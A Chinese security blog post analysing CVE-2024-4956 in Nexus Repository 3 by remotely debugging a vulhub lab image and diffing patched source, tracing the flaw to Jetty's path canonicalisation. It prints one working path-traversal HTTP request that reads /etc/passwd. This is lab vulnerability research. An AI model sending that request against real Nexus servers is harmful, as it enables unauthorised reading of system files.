通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

admin 2024年6月11日09:17:30评论5 views字数 1814阅读6分2秒阅读模式

前言

本篇文章主要记录用IDEA远程调试docker当中的nexus。
对nexus漏洞的分析写得不是那么好,如果想要看具体漏洞讲解的,我提供以下两篇,写得都比我好(泪目)。
https://www.cnblogs.com/Rainy-Day/p/18214409

https://exp10it.io/2024/05/通过-java-fuzzing-挖掘-nexus-repository-3-目录穿越漏洞-cve-2024-4956/

也是因为这个具体产生的原因在jetty容器当中,我跟Nexus的源码找不到。

通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956



调试前准备

Nexus镜像下载:
https://github.com/vulhub/vulhub/tree/096cd5e7063d739aa48e4c620d4950803193de88/nexus/CVE-2024-4956

下载代码:https://codeload.github.com/sonatype/nexus-public/zip/refs/tags/release-3.68.0-04

解压后通过 idea 打开,等待pom.xml中的依赖被安装
如果下载依赖慢,建议使用国内的镜像。

接着开启远程调试

通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

OK,之后就可以下断点调试了

注意:如果调试一会后,遇到了即使下断点,重新debug也无法调试的情况,重启镜像。

sudo docker ps
sudo docker restart 341

代码分析

比对修复后与修复前的代码,查看修改了哪些位置,方便定位漏洞位置
访问 https://github.com/sonatype/nexus-public/releases‘
代码比较

通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956


其中有一堆xml和html,显然不是我们要找的,

通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

ctrl + f 搜索 .java


也可以通过idea 进行代码比对
idea新建一个项目
下载两个源码包,解压后放在项目中

通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

选择其中一个,按住 ctrl + d ,然后点击另一个文件

通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

过滤 java文件

通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

可以看到,这块代码被删除,分析后看出这是通过path读取资源的功能,

这就是漏洞所在

漏洞出现的原因

URIUtil.canonicalPath 是 jetty容器当中的函数,用来处理路径。
URIUtil.canonicalPath 在处理路径时,会将空的字符串也认为是一个目录

通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

虽然该函数将//认为是空的目录,但其他函数或者Linux或者file://伪协议并不这么认为,这就导致了存在绕过的可能。

GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: 192.168.23.143:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: */*
Referer: http://192.168.23.143:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.3295531852435827; NXSESSIONID=fd8be857-5b8e-49ab-b677-45313c83c73d; apt.uid=AP-YFGMCGUNNIFB-2-1717380864372-66381115.0.2.a2e3917a-4f22-4c24-8671-436b74b600a2; apt.sid=AP-YFGMCGUNNIFB-2-1717404448571-73575477
Connection: close


通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

漏洞分析

通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

传入的参数

通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

https://github.com/jetty/jetty.project/blob/jetty-12.0.x/jetty-core/jetty-util/src/main/java/org/eclipse/jetty/util/URIUtil.java#L714

参考链接

https://www.cnblogs.com/Rainy-Day/p/18214409

原文始发于微信公众号(进击的HACK):通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月11日09:17:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过IDEA远程调试vulhub当中的Nexus镜像分析CVE-2024-4956https://cn-sec.com/archives/2811997.html

发表评论

匿名网友 填写信息